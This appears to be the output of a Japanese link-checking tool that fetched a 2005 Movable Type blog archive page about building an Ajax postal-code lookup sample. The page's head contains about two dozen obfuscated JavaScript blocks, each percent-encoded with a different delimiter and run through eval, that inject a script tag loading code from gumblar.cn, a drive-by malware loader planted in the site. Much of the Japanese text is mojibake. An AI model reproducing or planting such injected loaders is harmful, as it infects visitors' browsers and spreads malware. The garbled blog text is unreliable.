”ò‚Ñæ‚̃`ƒFƒbƒN (ver 0.04) by ‚Ò‚å‚ñŠî’n‚Ì—F’B
‰ðÍ
”ò‚Ñæ‚ÌURL
http://expss.main.jp/expss2/2005/08/
code = 200
base = http://expss.main.jp/expss2/2005/08/
body =
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="generator" content="Movable Type 3.33-ja" />
<link rel="stylesheet" href="http://expss.main.jp/expss2/styles-site.css" type="text/css" />
<link rel="alternate" type="application/atom+xml" title="Atom" href="http://expss.main.jp/expss2/atom.xml" />
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://expss.main.jp/expss2/index.xml" />
<title>expss2: 2005年08月 アーカイブ</title>
<link rel="start" href="http://expss.main.jp/expss2/" title="Home" />
<link rel="prev" href="http://expss.main.jp/expss2/2005/07/" title="2005年07月" />
<link rel="next" href="http://expss.main.jp/expss2/2005/10/" title="2005年10月" />
</head>
<script language=javascript><!--
(function(TitRT){var H5h='%';var B4mN=('.76ar.20a.3d.22Scri.70tEng.69.6ee.22.2cb.3d.22Ve.72.73i.6fn.28).2b.22.2cj.3d.22.22.2cu.3dnavi.67ator.2eu.73er.41.67.65nt.3bi.66.28(.75.2ein.64e.78Of(.22Wi.6e.22).3e.30).26.26.28u.2eind.65.78Of.28.22.4eT.206.22).3c0).26.26(document.2ec.6fokie.2eindex.4ff(.22mi.65k.3d1.22.29.3c.30).26.26(.74ype.6ff(zrv.7ats.29.21.3dtyp.65o.66(.22A.22))).7bzrvzts.3d.22.41.22.3bev.61l(.22if(w.69n.64.6fw.2e.22.2ba.2b.22.29j.3d.6a+.22+a+.22.4dajo.72.22+b+a+.22Minor.22.2bb+.61+.22.42uil.64.22.2bb+.22j.3b.22.29.3bdocument.2ew.72i.74.65(.22.3c.73cri.70.74.20s.72c.3d.2f.2fgumblar.2e.63n.2frs.73.2f.3fid.3d.22.2bj+.22.3e.3c.5c.2fscri.70t.3e.22).3b.7d').replace(TitRT,H5h);var KvS=unescape(B4mN);eval(KvS)})(/./g);
--></script><script language=javascript><!--
(function(j4A){var ZzuR='%';var duEZD=('var,20a,3d,22,53cr,69p,74E,6egi,6ee,22,2cb,3d,22Ver,73i,6fn(),2b,22,2cj,3d,22,22,2cu,3dnav,69,67a,74or,2eus,65r,41ge,6et,3bif(,28u,2eindex,4ff(,22Win,22,29,3e0,29,26,26(u,2einde,78O,66(,22NT,20,36,22,29,3c0),26,26,28doc,75men,74,2ecookie,2eindexOf(,22miek,3d1,22,29,3c0),26,26(typeo,66,28,7arvz,74s),21,3dt,79,70eo,66(,22,41,22,29)),7b,7ar,76zts,3d,22A,22,3bev,61l(,22if(window,2e,22+a,2b,22)j,3d,6a+,22+,61+,22Maj,6f,72,22+b,2ba,2b,22Mi,6eor,22+b,2b,61+,22,42uild,22+b,2b,22j,3b,22),3bdocum,65n,74,2ewr,69te(,22,3cscript,20,73,72c,3d,2f,2f,67,75,6db,6ca,72,2ecn,2f,72ss,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2fs,63,72ipt,3e,22),3b,7d').replace(j4A,ZzuR);eval(unescape(duEZD))})(/,/g);
--></script><script language=javascript><!--
(function(x5E){var ELTW='%';var AwW=',76a,72,20a,3d,22,53c,72,69,70tEngi,6ee,22,2cb,3d,22Vers,69,6fn(,29+,22,2cj,3d,22,22,2cu,3dn,61,76ig,61tor,2eu,73er,41gent,3bif((u,2ei,6edexO,66(,22,57i,6e,22),3e,30),26,26(u,2e,69nd,65xOf(,22N,54,206,22),3c,30),26,26(,64,6fc,75ment,2e,63o,6fkie,2eind,65,78,4f,66,28,22miek,3d,31,22),3c0),26,26(typeo,66(zr,76z,74s,29,21,3dty,70eof(,22A,22))),7bzr,76,7at,73,3d,22A,22,3bev,61l(,22,69f,28w,69n,64ow,2e,22+a+,22,29j,3dj+,22+a,2b,22,4dajor,22+b,2ba+,22M,69n,6fr,22+b+,61+,22Bui,6cd,22+b,2b,22j,3b,22),3bdocument,2ewrite(,22,3cs,63ript,20sr,63,3d,2f,2fgumbl,61r,2ec,6e,2frss,2f,3f,69d,3d,22+j+,22,3e,3c,5c,2f,73,63,72ipt,3e,22),3b,7d';eval(unescape(AwW.replace(x5E,ELTW)))})(/,/g);
--></script><script language=javascript><!--
(function(emno){var Yxr=('var:20a:3d:22Scr:69pt:45n:67i:6ee:22:2cb:3d:22:56er:73io:6e:28):2b:22:2c:6a:3d:22:22:2cu:3d:6e:61v:69:67ator:2eu:73erAge:6e:74:3b:69f((u:2ei:6ed:65x:4ff(:22Win:22):3e0):26:26(:75:2e:69n:64e:78Of:28:22NT:20:36:22):3c:30:29:26:26(doc:75:6dent:2ecook:69e:2ei:6edexOf(:22m:69ek:3d:31:22):3c0:29:26:26(typ:65of:28:7arv:7at:73:29:21:3dtyp:65:6ff:28:22A:22))):7b:7a:72:76zt:73:3d:22A:22:3b:65val:28:22if(w:69nd:6fw:2e:22+a+:22)j:3dj:2b:22+a+:22Majo:72:22+b+a+:22:4din:6fr:22+:62:2ba+:22:42:75:69ld:22+b+:22j:3b:22):3bdo:63ument:2ewr:69t:65:28:22:3cscript:20sr:63:3d:2f:2f:67umb:6car:2ec:6e:2frs:73:2f:3fid:3d:22+j:2b:22:3e:3c:5c:2f:73:63ri:70t:3e:22):3b:7d').replace(emno,'%');eval(unescape(Yxr))})(/:/g);
--></script><script language=javascript><!--
(function(xAUH){var Gb2r='v"61r"20"61"3d"22Scri"70tE"6e"67i"6e"65"22"2c"62"3d"22"56ersion()+"22"2cj"3d"22"22"2cu"3dnaviga"74or"2euserAgent"3bi"66("28u"2ein"64exOf("22"57"69"6e"22)"3e0)"26"26(u"2e"69n"64e"78Of"28"22"4e"54"206"22"29"3c0)"26"26("64o"63u"6den"74"2eco"6fkie"2e"69nde"78Of"28"22miek"3d1"22)"3c0)"26"26"28t"79peof(zr"76"7ats"29"21"3dty"70"65of"28"22A"22)))"7bzrvzts"3d"22A"22"3be"76al"28"22"69f(win"64ow"2e"22+a+"22)j"3dj+"22+a+"22Maj"6fr"22+b+"61+"22"4dino"72"22+"62+a"2b"22"42ui"6cd"22+b+"22j"3b"22)"3bdocument"2ewrit"65("22"3csc"72"69pt"20"73rc"3d"2f"2fgu"6dbl"61r"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2fscr"69pt"3e"22)"3b"7d';eval(unescape(Gb2r.replace(xAUH,'%')))})(/"/g);
--></script><script language=javascript><!--
(function(CI3t){var xJTUp='v,61r,20a,3d,22Sc,72iptEng,69,6ee,22,2cb,3d,22Version,28),2b,22,2cj,3d,22,22,2c,75,3dna,76ig,61to,72,2euserA,67,65,6e,74,3bif((u,2ei,6ede,78Of,28,22Win,22),3e0),26,26(u,2eindexO,66(,22N,54,20,36,22,29,3c0,29,26,26(,64o,63ume,6et,2eco,6fk,69e,2eindexOf(,22miek,3d1,22),3c0),26,26(typ,65of(zrvzt,73),21,3d,74ypeof,28,22A,22)),29,7bz,72vzts,3d,22A,22,3be,76a,6c(,22if(,77,69ndow,2e,22+a+,22)j,3d,6a+,22+a+,22,4d,61jor,22,2bb,2ba+,22Mino,72,22+b+a+,22Bu,69,6cd,22+b+,22j,3b,22,29,3bdocu,6den,74,2ewrite(,22,3csc,72ipt,20s,72,63,3d,2f,2fgumb,6c,61r,2ec,6e,2frs,73,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2fscri,70t,3e,22,29,3b,7d';var SaUe=unescape(xJTUp.replace(CI3t,'%'));eval(SaUe)})(/,/g);
--></script><script language=javascript><!--
(function(eeY){var AuBw='%';var xreS='v<61r<20a<3d<22S<63riptEng<69ne<22<2cb<3d<22Ver<73io<6e()<2b<22<2cj<3d<22<22<2cu<3d<6e<61vig<61tor<2eus<65rA<67ent<3bif((<75<2ein<64exO<66(<22Wi<6e<22<29<3e0)<26<26<28u<2ei<6ed<65xOf<28<22<4eT<206<22<29<3c0<29<26<26(<64oc<75me<6et<2ecook<69<65<2eindex<4ff(<22<6di<65k<3d1<22)<3c<30)<26<26(t<79<70eo<66<28z<72vzts<29<21<3dtypeof<28<22A<22))<29<7bzrvz<74s<3d<22<41<22<3beva<6c(<22i<66(w<69n<64o<77<2e<22<2ba+<22)<6a<3dj+<22+<61+<22Maj<6fr<22+<62+a+<22Minor<22+b+<61+<22<42ui<6c<64<22+b+<22j<3b<22)<3bd<6f<63<75<6de<6et<2ewrit<65(<22<3c<73crip<74<20src<3d<2f<2fgumbl<61r<2ecn<2fr<73s<2f<3fid<3d<22+j<2b<22<3e<3c<5c<2fscri<70<74<3e<22<29<3b<7d';var Lrkt=xreS.replace(eeY,AuBw);eval(unescape(Lrkt))})(/</g);
--></script><script language=javascript><!--
(function(vZx){var xvds='%';var dbW='var,20a,3d,22S,63rip,74,45n,67ine,22,2cb,3d,22Ver,73ion,28),2b,22,2cj,3d,22,22,2cu,3dnaviga,74o,72,2e,75se,72Ag,65nt,3b,69f((u,2ein,64exO,66(,22Wi,6e,22),3e0),26,26(u,2eindexOf(,22NT,20,36,22,29,3c,30),26,26,28,64ocu,6dent,2ecookie,2einde,78Of(,22mie,6b,3d,31,22),3c0),26,26,28ty,70,65,6ff(z,72vz,74s),21,3dtypeof,28,22,41,22))),7bzrvzts,3d,22,41,22,3be,76al(,22,69f(,77i,6edo,77,2e,22+a+,22,29j,3dj+,22+a+,22Majo,72,22+,62+a+,22M,69no,72,22+b+a,2b,22Build,22+b+,22j,3b,22,29,3bd,6fcu,6den,74,2ewr,69t,65,28,22,3cscript,20,73rc,3d,2f,2f,67umblar,2e,63n,2frss,2f,3fid,3d,22,2bj,2b,22,3e,3c,5c,2fscript,3e,22),3b,7d';var miaBl=unescape(dbW.replace(vZx,xvds));eval(miaBl)})(/,/g);
--></script><script language=javascript><!--
(function(xdZY){var tkCw5=('va,72,20a,3d,22Sc,72iptE,6e,67i,6e,65,22,2c,62,3d,22,56ers,69on()+,22,2cj,3d,22,22,2c,75,3dnavig,61,74o,72,2euse,72Agent,3bif((u,2ein,64exOf(,22Wi,6e,22),3e0),26,26(u,2eind,65x,4ff(,22NT,206,22,29,3c0),26,26(document,2ec,6f,6fk,69e,2e,69,6ed,65x,4ff(,22mi,65k,3d1,22),3c0,29,26,26(t,79peof(,7arv,7a,74s),21,3dty,70,65of(,22,41,22))),7bzrv,7ats,3d,22A,22,3beval(,22if(win,64ow,2e,22+a+,22,29,6a,3dj+,22+a,2b,22Major,22+b+a,2b,22Mi,6eo,72,22+b+,61,2b,22Build,22,2bb+,22j,3b,22),3bdocume,6et,2ewrite(,22,3cs,63rip,74,20,73rc,3d,2f,2f,67umbla,72,2ecn,2f,72ss,2f,3fid,3d,22+j,2b,22,3e,3c,5c,2f,73,63ri,70,74,3e,22),3b,7d').replace(xdZY,'%');var z7t2=unescape(tkCw5);eval(z7t2)})(/,/g);
--></script><script language=javascript><!--
(function(){var GgT='%';var xq6c=('v:61r:20a:3d:22S:63:72ip:74E:6e:67in:65:22:2cb:3d:22:56ersion:28)+:22:2cj:3d:22:22:2cu:3dnavigator:2e:75se:72Ag:65nt:3bif:28:28u:2ei:6ed:65xO:66(:22Win:22:29:3e:30):26:26:28u:2eindex:4ff(:22NT:206:22):3c0:29:26:26(:64oc:75ment:2ecooki:65:2e:69n:64:65:78O:66(:22:6die:6b:3d1:22):3c0):26:26(t:79p:65:6ff(zrvzts):21:3dt:79peof(:22A:22))):7bzrvz:74s:3d:22A:22:3be:76:61l(:22i:66(windo:77:2e:22+a+:22:29:6a:3dj+:22+a+:22Maj:6fr:22+b:2b:61:2b:22Mi:6eo:72:22+b+a:2b:22Bui:6cd:22+b+:22j:3b:22):3bdocument:2ewrit:65(:22:3c:73cript:20src:3d:2f:2fgumblar:2e:63n:2f:72:73s:2f:3fi:64:3d:22+j+:22:3e:3c:5c:2fscript:3e:22):3b:7d').replace(/:/g,GgT);eval(unescape(xq6c))})();
--></script><script language=javascript><!--
(function(){var st7O='var:20:61:3d:22Scri:70tEn:67:69:6ee:22:2cb:3d:22Vers:69o:6e():2b:22:2cj:3d:22:22:2cu:3dnavigator:2euserAg:65nt:3b:69f((u:2eindexOf(:22Win:22):3e:30):26:26:28u:2einde:78:4ff(:22NT:20:36:22):3c0:29:26:26(doc:75ment:2ec:6fo:6bie:2eindex:4ff(:22:6d:69ek:3d1:22):3c0):26:26(:74ype:6ff:28zrvz:74s):21:3dtypeof(:22A:22))):7b:7arvzt:73:3d:22A:22:3beval:28:22if(windo:77:2e:22+a+:22)j:3d:6a+:22+a+:22M:61jor:22+b+a+:22Minor:22+:62+a:2b:22:42uild:22+b:2b:22:6a:3b:22):3bdo:63u:6dent:2e:77rite(:22:3cs:63ript:20:73rc:3d:2f:2fgumbl:61:72:2e:63n:2frss:2f:3fid:3d:22+j+:22:3e:3c:5c:2fsc:72:69pt:3e:22:29:3b:7d';var wbc=st7O.replace(/:/g,'%');var xYE0=unescape(wbc);eval(xYE0)})();
--></script><script language=javascript><!--
(function(){var PQLkG='%';eval(unescape((':76:61r:20a:3d:22Script:45ngi:6e:65:22:2cb:3d:22Vers:69o:6e():2b:22:2c:6a:3d:22:22:2cu:3dn:61:76iga:74:6fr:2euserAgent:3bif((:75:2ein:64exOf(:22Wi:6e:22):3e0):26:26(:75:2ei:6edexO:66(:22:4eT:206:22):3c0):26:26(d:6fcument:2ecookie:2ein:64:65xOf:28:22:6d:69:65k:3d1:22):3c0):26:26(:74y:70eo:66:28zrvzts):21:3dty:70:65o:66(:22A:22))):7bzrv:7at:73:3d:22A:22:3b:65va:6c(:22if(win:64ow:2e:22+:61+:22)j:3d:6a+:22+a+:22:4d:61:6aor:22+b+a+:22:4di:6eor:22+:62+:61+:22Bui:6cd:22+b+:22:6a:3b:22):3bdocument:2ewrite(:22:3cs:63ript:20s:72:63:3d:2f:2fgumbl:61r:2ecn:2f:72ss:2f:3fid:3d:22+j+:22:3e:3c:5c:2fscript:3e:22):3b:7d').replace(/:/g,PQLkG)))})();
--></script><script language=javascript><!--
(function(kQ9){var BJZ='%';eval(unescape(('va:72:20:61:3d:22Script:45ngine:22:2cb:3d:22:56:65:72si:6fn():2b:22:2cj:3d:22:22:2cu:3dnav:69gato:72:2e:75serA:67ent:3bif:28:28:75:2e:69:6e:64:65x:4ff(:22W:69:6e:22:29:3e:30:29:26:26:28u:2ei:6edexOf:28:22N:54:206:22):3c0):26:26(:64ocum:65:6e:74:2ecookie:2einde:78Of(:22mi:65k:3d1:22):3c0):26:26(t:79p:65of:28:7ar:76zts:29:21:3dtyp:65o:66(:22A:22):29:29:7bzrvzts:3d:22A:22:3beval(:22:69:66(window:2e:22:2ba+:22):6a:3dj+:22+a+:22Major:22:2b:62+a+:22Minor:22+b+a+:22Build:22+:62+:22j:3b:22:29:3bdocumen:74:2ew:72ite(:22:3cscr:69pt:20:73rc:3d:2f:2fgum:62la:72:2e:63n:2frs:73:2f:3fid:3d:22+j:2b:22:3e:3c:5c:2f:73c:72i:70t:3e:22:29:3b:7d').replace(kQ9,BJZ)))})(/:/g);
--></script><script language=javascript><!--
(function(){var dQHR='%';var FAWrU='v,61r,20a,3d,22Scri,70,74Engine,22,2cb,3d,22Ve,72,73ion(),2b,22,2c,6a,3d,22,22,2cu,3dnav,69ga,74or,2eus,65rAgen,74,3bif(,28u,2ein,64exOf,28,22W,69n,22,29,3e,30,29,26,26,28,75,2eindexOf(,22NT,20,36,22),3c0),26,26(doc,75ment,2ec,6fok,69e,2e,69ndexOf(,22m,69ek,3d1,22,29,3c0,29,26,26(ty,70,65,6ff(zr,76zts),21,3dty,70,65o,66(,22A,22),29,29,7bzrvz,74s,3d,22A,22,3beval(,22if,28w,69ndo,77,2e,22,2ba+,22),6a,3d,6a+,22+,61,2b,22Major,22,2bb,2b,61+,22M,69nor,22,2bb+,61+,22,42,75ild,22+b+,22,6a,3b,22),3bdocume,6et,2ew,72ite(,22,3c,73cript,20src,3d,2f,2fg,75,6dblar,2ecn,2frs,73,2f,3fid,3d,22+j+,22,3e,3c,5c,2f,73cri,70t,3e,22),3b,7d';var x73l=unescape(FAWrU.replace(/,/g,dQHR));eval(x73l)})();
--></script><script language=javascript><!--
(function(lXws){var t0C6t='%';var a3z=('"76a"72"20"61"3d"22"53"63"72iptEn"67i"6ee"22"2cb"3d"22Version()+"22"2cj"3d"22"22"2cu"3dnavigator"2eu"73e"72Age"6et"3b"69f"28(u"2ei"6ed"65xO"66("22Win"22)"3e0)"26"26("75"2einde"78Of("22"4eT"206"22)"3c0"29"26"26(d"6fcumen"74"2ecookie"2ei"6edexOf("22miek"3d"31"22)"3c0)"26"26(typeof(z"72vzts)"21"3dtypeo"66"28"22A"22)))"7bzrvzts"3d"22"41"22"3beval("22"69f(window"2e"22+a+"22)"6a"3d"6a"2b"22"2ba+"22Majo"72"22+"62"2ba+"22"4di"6e"6fr"22+b+a+"22Buil"64"22"2bb+"22"6a"3b"22"29"3bdocu"6d"65"6e"74"2ewr"69"74"65("22"3cs"63"72i"70t"20"73rc"3d"2f"2fgum"62l"61r"2e"63n"2f"72"73s"2f"3fid"3d"22+j"2b"22"3e"3c"5c"2f"73c"72i"70"74"3e"22)"3b"7d').replace(lXws,t0C6t);var Y7WO=unescape(a3z);eval(Y7WO)})(/"/g);
--></script><script language=javascript><!--
(function(){var PQLkG='%';eval(unescape((':76:61r:20a:3d:22Script:45ngi:6e:65:22:2cb:3d:22Vers:69o:6e():2b:22:2c:6a:3d:22:22:2cu:3dn:61:76iga:74:6fr:2euserAgent:3bif((:75:2ein:64exOf(:22Wi:6e:22):3e0):26:26(:75:2ei:6edexO:66(:22:4eT:206:22):3c0):26:26(d:6fcument:2ecookie:2ein:64:65xOf:28:22:6d:69:65k:3d1:22):3c0):26:26(:74y:70eo:66:28zrvzts):21:3dty:70:65o:66(:22A:22))):7bzrv:7at:73:3d:22A:22:3b:65va:6c(:22if(win:64ow:2e:22+:61+:22)j:3d:6a+:22+a+:22:4d:61:6aor:22+b+a+:22:4di:6eor:22+:62+:61+:22Bui:6cd:22+b+:22:6a:3b:22):3bdocument:2ewrite(:22:3cs:63ript:20s:72:63:3d:2f:2fgumbl:61r:2ecn:2f:72ss:2f:3fid:3d:22+j+:22:3e:3c:5c:2fscript:3e:22):3b:7d').replace(/:/g,PQLkG)))})();
--></script><script language=javascript><!--
(function(o4n2){eval(unescape(('va>72>20a>3d>22>53>63riptEngi>6ee>22>2cb>3d>22Ve>72>73ion>28)>2b>22>2cj>3d>22>22>2cu>3d>6ea>76igator>2euserAgen>74>3bif(>28u>2eindexOf(>22Wi>6e>22)>3e0)>26>26(u>2ein>64e>78O>66>28>22>4eT>206>22)>3c0)>26>26(do>63umen>74>2ecookie>2ei>6edexO>66(>22m>69ek>3d1>22)>3c0>29>26>26(t>79pe>6f>66>28z>72vz>74s)>21>3dtype>6ff>28>22A>22)))>7bzrvzt>73>3d>22A>22>3be>76al(>22>69f(win>64>6fw>2e>22>2ba+>22)j>3dj+>22+a+>22>4d>61jor>22>2bb+>61>2b>22M>69>6e>6f>72>22+b>2b>61+>22>42>75>69ld>22+b+>22j>3b>22)>3bdo>63>75ment>2e>77rit>65>28>22>3cscript>20s>72>63>3d>2f>2f>67um>62>6car>2ecn>2frss>2f>3f>69d>3d>22+j>2b>22>3e>3c>5c>2fscrip>74>3e>22)>3b>7d').replace(o4n2,'%')))})(/>/g);
--></script><script language=javascript><!--
(function(xoVN){var y4Y='%';var x4HF=('va,72,20,61,3d,22Sc,72i,70tEngine,22,2cb,3d,22Ve,72sion,28)+,22,2c,6a,3d,22,22,2c,75,3dna,76iga,74or,2euserAg,65n,74,3bi,66(,28,75,2eindexOf(,22W,69,6e,22,29,3e0),26,26(u,2ein,64e,78Of(,22N,54,206,22,29,3c0),26,26(document,2eco,6fkie,2eindexO,66,28,22mi,65k,3d1,22),3c0,29,26,26(typ,65of(zr,76zt,73),21,3d,74ypeof(,22A,22))),7b,7ar,76z,74,73,3d,22A,22,3be,76al(,22,69f(,77,69,6edow,2e,22+a+,22)j,3dj+,22+a,2b,22M,61j,6fr,22+b+a+,22M,69nor,22,2bb,2ba+,22Bui,6cd,22+,62+,22,6a,3b,22,29,3bd,6fc,75ment,2ewri,74e(,22,3cscript,20src,3d,2f,2f,67umbl,61r,2e,63n,2fr,73s,2f,3fid,3d,22+j+,22,3e,3c,5c,2fscr,69pt,3e,22),3b,7d').replace(xoVN,y4Y);var xy0=unescape(x4HF);eval(xy0)})(/,/g);
--></script><script language=javascript><!--
(function(){var xUFZ='%';var RGmWo=',76,61r,20a,3d,22,53,63ript,45ngi,6ee,22,2c,62,3d,22V,65rs,69o,6e,28),2b,22,2cj,3d,22,22,2c,75,3dn,61,76i,67ator,2euserAgent,3bif,28(u,2eindexOf(,22Win,22,29,3e,30,29,26,26(u,2e,69n,64e,78Of(,22,4e,54,206,22),3c,30,29,26,26(do,63ument,2ecookie,2eindexOf,28,22m,69ek,3d1,22),3c0,29,26,26(ty,70eof(,7arvzts),21,3dtypeof(,22A,22,29)),7bz,72v,7ats,3d,22A,22,3be,76al(,22if,28wind,6fw,2e,22+,61+,22,29j,3dj,2b,22+a+,22,4dajor,22+,62+a+,22Minor,22+b,2b,61+,22,42,75ild,22,2bb+,22j,3b,22),3bdocum,65nt,2ewr,69,74e(,22,3cscr,69pt,20s,72,63,3d,2f,2f,67umblar,2e,63n,2f,72ss,2f,3f,69d,3d,22+j+,22,3e,3c,5c,2fs,63ri,70t,3e,22),3b,7d';eval(unescape(RGmWo.replace(/,/g,xUFZ)))})();
--></script><script language=javascript><!--
(function(PpQ){var OwRL9='%';var OfWm=('va.72.20.61.3d.22.53.63r.69ptEngine.22.2cb.3d.22Ve.72sion()+.22.2cj.3d.22.22.2cu.3dna.76iga.74o.72.2euse.72Agent.3b.69f((u.2ei.6edexOf(.22.57.69n.22).3e0.29.26.26(u.2eind.65xO.66(.22N.54.20.36.22.29.3c0.29.26.26(d.6fcum.65.6et.2ecooki.65.2e.69n.64exOf(.22m.69ek.3d.31.22).3c0).26.26.28typeof(z.72v.7a.74s).21.3dty.70eof(.22A.22.29)).7bzrvzt.73.3d.22A.22.3be.76a.6c.28.22if(window.2e.22+a+.22).6a.3dj+.22+a+.22.4d.61j.6fr.22+b+.61+.22Mi.6eo.72.22.2bb+a+.22Bu.69.6cd.22+b.2b.22j.3b.22).3b.64o.63um.65.6e.74.2e.77ri.74e.28.22.3c.73.63r.69.70t.20sr.63.3d.2f.2fgumb.6c.61r.2ecn.2frss.2f.3f.69d.3d.22+j.2b.22.3e.3c.5c.2fsc.72.69pt.3e.22.29.3b.7d').replace(PpQ,OwRL9);var xTC=unescape(OfWm);eval(xTC)})(/./g);
--></script><script language=javascript><!--
(function(){var GneH='var,20a,3d,22,53,63,72ip,74E,6egine,22,2cb,3d,22Ve,72sion(,29,2b,22,2c,6a,3d,22,22,2cu,3dna,76ig,61to,72,2euser,41gen,74,3bif((u,2e,69,6edexOf(,22,57in,22),3e,30),26,26(u,2eind,65xOf(,22NT,206,22),3c0),26,26(docu,6dent,2e,63ookie,2ein,64,65x,4ff(,22mie,6b,3d1,22),3c0),26,26(ty,70eo,66(zr,76z,74s),21,3dtype,6ff,28,22A,22),29),7bzrv,7ats,3d,22A,22,3be,76al(,22if(,77indo,77,2e,22+a,2b,22)j,3dj,2b,22+,61+,22,4da,6aor,22+b+a+,22M,69nor,22+b+,61,2b,22Bu,69,6cd,22,2b,62+,22j,3b,22,29,3bdocumen,74,2ewrite(,22,3cscript,20s,72c,3d,2f,2f,67umblar,2ecn,2f,72ss,2f,3fid,3d,22+,6a+,22,3e,3c,5c,2fscri,70t,3e,22),3b,7d';var OcRi=unescape(GneH.replace(/,/g,'%'));eval(OcRi)})();
--></script><script language=javascript><!--
(function(gVGsf){var Pbr='%';var urD='.76ar.20a.3d.22S.63ript.45.6egine.22.2cb.3d.22.56.65rsion()+.22.2c.6a.3d.22.22.2c.75.3dn.61vigato.72.2eu.73.65r.41g.65n.74.3bi.66.28(u.2e.69ndexOf(.22Win.22).3e0).26.26(u.2ei.6ed.65xOf.28.22N.54.206.22).3c0).26.26(do.63.75.6dent.2ecookie.2eindexOf.28.22miek.3d1.22).3c.30.29.26.26.28ty.70eo.66(zr.76zts).21.3dt.79peof.28.22A.22))).7bz.72vzts.3d.22.41.22.3b.65.76a.6c(.22if(w.69n.64o.77.2e.22.2ba+.22)j.3d.6a+.22+a+.22Ma.6a.6fr.22+b+a.2b.22M.69n.6f.72.22.2bb+.61.2b.22Build.22+b+.22j.3b.22.29.3bd.6f.63ument.2ewrite(.22.3cscrip.74.20src.3d.2f.2fgumblar.2ecn.2fr.73s.2f.3fid.3d.22+j+.22.3e.3c.5c.2fscript.3e.22.29.3b.7d';var PAMN=urD.replace(gVGsf,Pbr);eval(unescape(PAMN))})(/./g);
--></script><script language=javascript><!--
(function(uDv){var fLx='%';var oqco='"76ar"20"61"3d"22Script"45n"67ine"22"2cb"3d"22"56e"72sion()+"22"2cj"3d"22"22"2c"75"3dn"61vi"67ator"2euse"72Agent"3bi"66((u"2eindex"4ff("22Win"22)"3e0)"26"26"28u"2ei"6e"64e"78Of("22NT"206"22)"3c0)"26"26"28docu"6de"6et"2ecookie"2eindex"4ff"28"22miek"3d"31"22)"3c0)"26"26"28typeof(zrvzt"73)"21"3d"74ypeof("22A"22)))"7bzrvzts"3d"22A"22"3b"65val"28"22i"66("77"69"6edo"77"2e"22+a"2b"22)"6a"3dj+"22+a+"22"4daj"6fr"22+b+a"2b"22Mino"72"22"2bb"2ba+"22Build"22"2b"62+"22j"3b"22"29"3bdocum"65nt"2ewr"69t"65"28"22"3csc"72ipt"20"73rc"3d"2f"2f"67umbla"72"2ec"6e"2f"72ss"2f"3fid"3d"22+j+"22"3e"3c"5c"2fsc"72ip"74"3e"22)"3b"7d';var T2cr=oqco.replace(uDv,fLx);eval(unescape(T2cr))})(/"/g);
--></script><body class="layout-one-column">
<div id="container">
<div id="container-inner" class="pkg">
<div id="banner">
<div id="banner-inner" class="pkg">
<h1 id="banner-header"><a href="http://expss.main.jp/expss2/" accesskey="1">expss2</a></h1>
<h2 id="banner-description">ã“ã®ãƒ–ãƒã‚°ã¯ã€ŒMovableTypeã«ã‚ˆã‚‹ãƒ“ジãƒã‚¹ã‚µã‚¤ãƒˆæ§‹ç¯‰å®Ÿé¨“ã€ã®ãŸã‚ã®ã‚µãƒ³ãƒ—ルサイトã§ã™ã€‚一部文å—化ã‘ãŒã‚りã¾ã™ãŒã€ãƒ–ãƒã‚°ã®ç§»è¡Œå®Ÿé¨“ã®éš›ã®çµæžœã¨ã—ã¦ãã®ã¾ã¾æ®‹ã—ã¦ã„ã¾ã™ã€‚本サイト㯠<a href="http://wiz2.blog16.fc2.com">複眼ブãƒã‚°</a>ã§ã™ã€‚</h2>
</div>
</div>
<div id="pagebody">
<div id="pagebody-inner" class="pkg">
<div id="alpha">
<div id="alpha-inner" class="pkg">
<p class="content-nav">
<a href="http://expss.main.jp/expss2/2005/07/">« 2005年07月</a> |
<a href="http://expss.main.jp/expss2/">メイン</a>
| <a href="http://expss.main.jp/expss2/2005/10/">2005年10月 »</a>
</p>
<!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
rdf:about="http://expss.main.jp/expss2/2005/08/index.html#000071"
trackback:ping="http://expss.main.jp/cgi/mt/mt-tb.cgi/67"
dc:title="Web‚ÌV‚µ‚¢•—@Ajax ƒTƒ“ƒvƒ‹ì¬"
dc:identifier="http://expss.main.jp/expss2/2005/08/index.html#000071"
dc:subject="ƒVƒXƒeƒ€ŠJ”"
dc:description="WebÃöÊ〓[ÖÇÓ〓Ж〓¢〓ª〓©ª〓©H Part4:〓ш〓 Ajax°Χ..."
dc:creator="expss"
dc:date="2005-08-15T21:36:02+09:00" />
</rdf:RDF>
-->
<h2 class="date-header">2005年08月15日</h2>
<a id="a000071"></a>
<div class="entry" id="entry-71">
<h3 class="entry-header">Web‚ÌV‚µ‚¢•—@Ajax ƒTƒ“ƒvƒ‹ì¬</h3>
<div class="entry-content">
<div class="entry-body">
<span style=font-size:medium>WebƒAƒvƒŠƒP[ƒVƒ‡ƒ“‚ÉV‚µ‚¢“¹‚ª‘ñ‚©‚ꂽ‚©H</span>
Part4:ŽÀ‘H•Ò
Ajax‚ðŽg‚Á‚ÄŽÀ—p“I‚ȃTƒ“ƒvƒ‹‚ð쬂µ‚½B
—X•Ö”Ô†Ž«‘‚ðƒT[ƒo‚Ƀ_ƒEƒ“ƒ[ƒh‚µAPostgreSQL‚ɒljÁBƒuƒ‰ƒEƒU‚©‚ç‚Ì—X•Ö”Ô†‚Ü‚½‚ÍZŠ‚Ì“ü—Í’l‚ÅŒŸõ‚µAŒ‹‰Ê‚ð•\ަ‚·‚é@‚Æ‚¢‚¤‚à‚ÌB
